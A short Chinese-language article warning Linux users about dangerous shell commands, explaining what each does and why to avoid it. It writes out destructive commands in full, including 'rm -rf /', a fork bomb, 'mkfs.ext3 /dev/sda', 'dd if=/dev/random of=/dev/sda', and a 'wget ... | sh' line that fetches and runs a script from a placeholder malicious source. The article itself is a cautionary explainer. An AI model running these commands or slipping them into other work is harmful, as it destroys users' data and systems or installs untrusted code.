Linux 命令行很有用、很高效,但也很危险——尤其是在你不确定自己在做什么的时候。本文列出一些危险命令,最好不要尝试。以下命令通常是在 root 权限下才具备毁灭性;普通用户身份下,破坏的只是自己的文件。
rm -rf
rm -rf 是删除文件夹及其内容最快的方式之一,一丁点敲错或无知都可能导致不可恢复的系统崩坏。相关选项:
rm 删除文件
rm -r 递归删除文件夹(包括空文件夹)
rm -f 不经询问直接删除(只读文件也删)
rm -rf / 强制删除根目录下所有内容
rm -rf * 强制删除当前目录所有文件
rm -rf . 强制删除当前文件夹及其子文件夹
预防:在 .bashrc 中给 rm 加 rm -i 别名,删除时要求确认。
:(){ :|:& };:
这是一个 fork 炸弹:定义一个名为 : 的函数,它会调用自己两次(一次前台、一次后台),反复执行直到系统崩溃。
命令 > /dev/sda
把某个命令的输出写到块设备 /dev/sda,会用命令写入的数据替换块设备中的所有数据块,导致整个设备数据丢失。
mv 文件夹 /dev/null
把某个文件夹移动到 /dev/null。/dev/null 是特殊文件,写入它的数据都会被清除并返回成功。但这个命令并不能阻止数据恢复软件,彻底的销毁需要专用工具或手法。
wget http://malicious_source -O- | sh
从恶意源下载脚本并执行(wget 下载、sh 执行)。要时刻注意下载脚本/包的来源,只使用可信源。
mkfs.ext3 /dev/sda
格式化块设备 sda,直接让系统达到不可恢复的状态。通常不会直接用 /dev/sda(除非作为 raw 设备),而是分成 sda1、sda2 等分区。但无论 sda 还是 sda1,mkfs 都是毁灭性的。
> file
> 用于清空文件内容或记录命令输出。执行前务必确认输出文件是空的或不存在,否则原文件无法恢复。可能你真正想要的是 >>(追加而非覆盖)。输入错误(如 > xt.conf)会覆盖配置文件。
^foo^bar
用于编辑上一条命令而无需重打整条。如果不仔细检查改动原始命令的风险,可能导致麻烦。
dd if=/dev/random of=/dev/sda
向块设备 sda 写入随机数据擦除内容,使系统陷入混乱和不可恢复状态。这是”彻底删除”的方法之一,保险起见可覆写多次。